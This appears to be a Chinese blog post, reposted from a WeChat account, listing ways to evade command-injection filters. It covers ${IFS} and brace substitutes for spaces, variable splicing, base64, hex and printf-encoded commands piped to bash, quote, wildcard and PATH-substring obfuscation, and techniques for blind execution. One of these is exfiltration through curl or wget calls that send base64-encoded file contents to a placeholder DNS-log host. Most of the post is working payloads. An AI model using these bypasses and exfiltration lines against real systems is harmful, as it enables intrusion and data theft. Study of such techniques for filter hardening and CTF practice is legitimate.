前言
前面的一篇文章说了一下SQL注入的绕过技巧,这篇文章再来看看命令执行的绕过技巧。
空格绕过
有时,在执行命令时会发现空格被过滤导致无法执行,可以尝试通过下面的方式
< <> 重定向符
20(space)
09(tab)
$9 IFS
{IFS}(最好用这个)
IFS
{cat,flag.txt} 在大括号中逗号可起分隔作用
${IFS}:这算是Linux中的一个变量。Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。
花括号的别样用法:在Linux bash中可以使用{OS_COMMAND,ARGUMENT}来执行系统命令,如{mv,文件1,文件2}
黑名单或者正则绕过
另外一种常见的过滤方式就是设置了黑名单或者正则表达式,可以尝试下面的方式绕过
1)拼接变量
如果定义输入的黑名单,可以通过定义一个变量,然后拼接变量去绕过
#在linux系统中
a=g;cat fla$a.php
a=fl;b=ag.php;cat $a$b
#在php的ping环境中
ip=;a=g;cat fla$a.php
ip=;a=fl;b=ag.php;cat $a$b
2)编码绕过
通过对命令进行编码,然后在解码,最后执行。常用的编码方式base64,hex编码,shellcode编码
#1.base64编码:cat flag.php -> Y2F0IGZsYWcucGhw
`echo "Y2F0IGZsYWcucGhw"|base64 -d`
$(echo "Y2F0IGZsYWcucGhw"|base64 -d)
echo "Y2F0IGZsYWcucGhw"|base64 -d|bash
echo "Y2F0IGZsYWcucGhw"|base64 -d|sh
#2.hex编码:cat flag.php -> 63617420666c61672e706870
echo "63617420666c61672e706870"|xxd -r -p|bash
#xxd: 二进制显示和处理文件工具,cat: 以文本方式ASCII显示文件
#-r参数:逆向转换。将16进制字符串表示转为实际的数
#-ps参数:以 postscript的连续16进制转储输出,也叫做纯16进制转储。
#-r -p将纯十六进制转储的反向输出打印为了ASCII格式。
#3.shellcode编码:cat flag.php -> x63x61x74x20x66x6cx61x67x2ex70x68x70
#经测试,发现在php的ping环境上执行失败。在linux系统上执行成功
$(printf "x63x61x74x20x66x6cx61x67x2ex70x68x70")
{printf,"x63x61x74x20x66x6cx61x67x2ex70x68x70"}|bash
`{printf,"x63x61x74x20x66x6cx61x67x2ex70x68x70"}`
3)单双引号法
单双引号中并没有字符,相当于在其中没有添加任何字符,命令意思不变
ca''t flag.txt
ca""t flag.txt
4)跨行符''绕过
跨行符的意思为接着上一行的内容,转到下一行接着输入命令,上下行均是一条命令
cat flag.php
cat flag.php
5)利用shell特殊变量绕过
特殊变量有:$1到$9、$@和$*等
cat fl$1ag.php
cat fl$@ag.php
6)通配符绕过
通配符可以替代任何字符
shell通配符有:
* :表示通配字符0次及以上
? : 表示通配字符0或
例如:
/bin/ca?
相当于cat命令
cat *
cat f*
/???/?at flag.php #/bin/cat flag.php
/???/?at ????????
/???/?[a][t] ????????
/???/?[a][t] ?''?''?''?''?''?''?''?''
/???/?[a]''[t] ?''?''?''?''?''?''?''?''
/???/[:lower:]s #ls
7)内联执行
内联执行就是在一条shell语句中内嵌子shell语句,用主shell语句处理子语句的结果
可用于内联语句的符号有 ${},``(反引号)
echo `ls`
echo ${ls}
相当于把ls的结果使用echo输出
8)“${}”截取环境变量拼接
"${}"是对变量进行处理的一个函数,它可以对变量值进行取长度,截取,替换等操作。因此我们可以从已知的文件或者内容中提取一部分内容来组成我们想要的内容
${PATH:start:length}
start:起始位置
length:截取长度,可为负数
${PATH:14:1}${PATH:5:1} flag.txt
在此环境中相当于 nl flag.txt
9)[]中括号匹配绕过
例如[a-c] 代表匹配 a-b之间的字符,包括a,b字符本身
匹配范围为当前目录
/[a-c][h-j][m-o]/[b-d]a[s-u] flag.txt
相当于
/bin/cat flag.txt
因为[]匹配范围只在当前路径
所以要为bin绝对路径
无回显命令执行
无回显的执行函数:
exec()
shell_exec()
`` (反引号)
这些需要php函数echo才可以输出结果,可以通过下面的方式进行利用。
1)反弹shell
能反弹shell当然最好,这个不必多说,也是用的最多的方式。
2)dnslog外带数据法
需要dnslog平台,可自己搭建
curl dnslog平台url/`cat flag.php|base64`
wget dnslog平台url/`cat flag.php|base64`
3)复制到可访问文件
tee命令:tee 命令可用于创建或追加写入文件
可配合cat等打开文件命令和管道符将执行后的命令写入到规定文件中
先将根目录复制到某个文件,然后访问查看
ls /| tee 1.txt
然后输入 url/1.txt 即可查看根目录
原文始发于微信公众号(信安路漫漫):命令执行绕过技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论